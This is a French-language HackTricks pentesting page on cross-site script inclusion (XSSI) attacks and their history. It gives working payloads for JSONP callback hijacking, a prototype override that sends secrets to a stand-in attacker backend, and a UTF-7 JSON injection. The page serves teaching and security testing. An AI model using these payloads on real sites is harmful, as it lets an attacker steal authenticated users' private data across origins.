mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
110 lines
9.3 KiB
Markdown
110 lines
9.3 KiB
Markdown
# XSSI (Inclusion de script entre sites)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
#### Les informations ont été prises sur [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
|
|
|
|
## Informations de base
|
|
|
|
XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une **ressource est incluse à l'aide de la balise `script`, la SOP ne s'applique pas**, car les scripts doivent pouvoir être inclus entre les domaines. Un attaquant peut donc **lire tout ce qui a été inclus** en utilisant la **balise `script`**.
|
|
|
|
Cela est particulièrement intéressant en ce qui concerne le JavaScript dynamique ou JSONP, lorsque des informations d'autorité ambiante telles que les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource à partir d'un hôte différent.
|
|
|
|
### Types
|
|
|
|
1. JavaScript statique (XSSI régulier)
|
|
2. JavaScript statique, accessible uniquement lorsqu'il est authentifié
|
|
3. JavaScript dynamique
|
|
4. Non-JavaScript
|
|
|
|
## XSSI régulier
|
|
|
|
Les informations privées sont situées à l'intérieur d'un fichier JS accessible globalement, vous pouvez simplement détecter cela en lisant des fichiers, en recherchant des mots-clés ou en utilisant des expressions régulières.\
|
|
Pour exploiter cela, il suffit d'inclure le script avec les informations privées à l'intérieur du contenu malveillant :
|
|
```markup
|
|
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
|
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
|
```
|
|
## XSSI Dynamique basé sur JavaScript et XSSI JavaScript Authentifié
|
|
|
|
**Des informations confidentielles sont ajoutées au script lorsqu'un utilisateur le demande**. Cela peut être facilement découvert en envoyant la requête **avec et sans les cookies**, si des **informations différentes** sont récupérées, alors des informations confidentielles pourraient être contenues. Pour faire cela automatiquement, vous pouvez utiliser l'extension burp : [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
|
|
|
|
Si les informations résident dans une variable globale, vous pouvez l'exploiter en utilisant le même code que pour le cas précédent.\
|
|
Si les données confidentielles sont envoyées dans une réponse JSONP, vous pouvez remplacer la fonction exécutée pour récupérer les informations :
|
|
```markup
|
|
<script>
|
|
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
|
|
var angular = function () { return 1; };
|
|
angular.callbacks = function () { return 1; };
|
|
angular.callbacks._7 = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
|
```
|
|
Ou vous pouvez également définir une fonction préparée à exécuter par la réponse JSONP :
|
|
```markup
|
|
<script>
|
|
leak = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
|
```
|
|
Si une variable ne réside pas dans l'espace de noms global, il est parfois possible de l'exploiter en utilisant la _manipulation de prototype_. La manipulation de prototype abuse de la conception de JavaScript, à savoir que lors de l'interprétation du code, JavaScript parcourt la chaîne de prototype pour trouver la propriété appelée. L'exemple suivant est extrait de l'article [Les dangers inattendus de JavaScript dynamique](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) et montre comment en remplaçant une fonction pertinente de type `Array` et en accédant à `this`, une variable non globale peut également être divulguée.
|
|
```javascript
|
|
(function(){
|
|
var arr = ["secret1", "secret2", "secret3"];
|
|
// intents to slice out first entry
|
|
var x = arr.slice(1);
|
|
...
|
|
})();
|
|
```
|
|
Dans le code original, `slice` du type `Array` accède aux données qui nous intéressent. Un attaquant peut, comme décrit dans la clause précédente, remplacer `slice` et voler les secrets.
|
|
```javascript
|
|
Array.prototype.slice = function(){
|
|
// leaks ["secret1", "secret2", "secret3"]
|
|
sendToAttackerBackend(this);
|
|
};
|
|
```
|
|
Le chercheur en sécurité [Sebastian Lekies](https://twitter.com/slekies) a récemment mis à jour sa liste de [vecteurs](http://sebastian-lekies.de/leak/).
|
|
|
|
## Non-Script-XSSI
|
|
|
|
Takeshi Terada décrit un autre type de XSSI dans son article [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf). Il a pu divulguer des fichiers Non-Script cross-origin en incluant, entre autres, des fichiers CSV en tant que source dans la balise `script`, en utilisant les données comme noms de variables et de fonctions.
|
|
|
|
La première attaque XSSI publiquement documentée remonte à 2006. L'entrée de blog de Jeremiah Grossman [Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) décrit un XSSI qui, en remplaçant le constructeur `Array`, a pu lire le carnet d'adresses complet d'un compte Google.
|
|
|
|
En 2007, Joe Walker a publié [JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). Il utilise la même idée pour voler du JSON qui se trouve à l'intérieur d'un `Array`.
|
|
|
|
D'autres attaques connexes ont été menées en injectant du contenu encodé en UTF-7 dans le JSON pour échapper au format JSON. Cela est décrit par Gareth Heyes, l'auteur de [Hackvertor](https://hackvertor.co.uk/public), dans l'entrée de blog [JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) publiée en 2011. Dans un test rapide, cela était toujours possible dans Microsoft Internet Explorer et Edge, mais pas dans Mozilla Firefox ou Google Chrome.
|
|
|
|
JSON avec UTF-7:
|
|
```javascript
|
|
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
|
```
|
|
Inclure le JSON dans la page de l'attaquant
|
|
```markup
|
|
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|